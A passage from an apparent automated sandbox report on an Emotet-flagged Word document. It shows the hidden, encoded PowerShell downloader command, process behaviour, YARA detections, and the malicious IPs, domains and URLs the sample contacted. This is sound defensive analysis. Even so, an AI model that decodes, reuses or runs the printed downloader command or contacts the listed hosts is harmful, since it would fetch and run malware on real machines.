wAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMA
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAK
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAK Jump to behavior

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10003D00 cpuid 7_2_10003D00
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_10029719
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_10029878
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_100298AA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 7_2_1002A1D1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 7_2_100303BF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_10030661
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_100306CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_10030765
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 7_2_100307F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 7_2_10030A43
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 7_2_10030B69
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 7_2_10030C6F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 7_2_10030D3E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_10029719
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_10029878
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_100298AA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 8_2_1002A1D1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 8_2_100303BF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_10030661
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_100306CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_10030765
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 8_2_100307F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 8_2_10030A43
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 8_2_10030B69
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 8_2_10030C6F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 8_2_10030D3E
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1002A210 GetSystemTimeAsFileTime, 7_2_1002A210
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100012B1 GetVersionExA,CreateWindowExA,ShowWindow,UpdateWindow, 7_2_100012B1
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected Emotet
Source: Yara match File source: 0000000E.00000002.2124437516.0000000000161000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2355747254.00000000001D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2121698890.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2117620078.0000000000250000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2109254352.0000000000261000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2107903712.0000000000B21000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2355718078.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2112719680.0000000000241000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2124305408.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2118054956.00000000006A1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2111015590.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2121760438.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2115003226.00000000001F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2112674690.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2114888366.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2111121616.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2106786697.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2108974608.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 8.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.6a0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.260000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.b20000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.250000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.160000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.240000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 339167 Sample: info_2020_NJY_31940448.doc Startdate: 13/01/2021 Architecture: WINDOWS Score: 100 53 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->53 55 Multi AV Scanner detection for domain / URL 2->55 57 Antivirus detection for URL or domain 2->57 59 13 other signatures 2->59 14 cmd.exe 2->14         started        17 WINWORD.EXE 293 23 2->17         started        process3 signatures4 73 Suspicious powershell command line found 14->73 75 Very long command line found 14->75 77 Encrypted powershell cmdline option found 14->77 79 PowerShell case anomaly found 14->79 19 powershell.exe 12 9 14->19         started        24 msg.exe 14->24         started        process5 dnsIp6 51 allcannabismeds.com 35.208.69.64, 49167, 80 GOOGLE-2US United States 19->51 49 C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll, PE32 19->49 dropped 63 Powershell drops PE file 19->63 26 rundll32.exe 19->26         started        file7 signatures8 process9 process10 28 rundll32.exe 2 26->28         started        signatures11 71 Hides that the sample has been downloaded from the Internet (zone.identifier) 28->71 31 rundll32.exe 1 28->31         started        process12 signatures13 83 Hides that the sample has been downloaded from the Internet (zone.identifier) 31->83 34 rundll32.exe 1 31->34         started        process14 signatures15 61 Hides that the sample has been downloaded from the Internet (zone.identifier) 34->61 37 rundll32.exe 1 34->37         started        process16 signatures17 65 Hides that the sample has been downloaded from the Internet (zone.identifier) 37->65 40 rundll32.exe 1 37->40         started        process18 signatures19 67 Hides that the sample has been downloaded from the Internet (zone.identifier) 40->67 43 rundll32.exe 1 40->43         started        process20 signatures21 69 Hides that the sample has been downloaded from the Internet (zone.identifier) 43->69 46 rundll32.exe 1 43->46         started        process22 signatures23 81 Hides that the sample has been downloaded from the Internet (zone.identifier) 46->81
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
152.170.79.100
 unknown Argentina
10318 TelecomArgentinaSAAR true
35.208.69.64
 unknown United States
19527 GOOGLE-2US true

Contacted Domains

Name IP Active
allcannabismeds.com 35.208.69.64 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://allcannabismeds.com/unraid-map/ZZm6/ true
  • 18%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://152.170.79.100/tkvop2zz2se/0vkwo/ true
  • Avira URL Cloud: safe
 unknown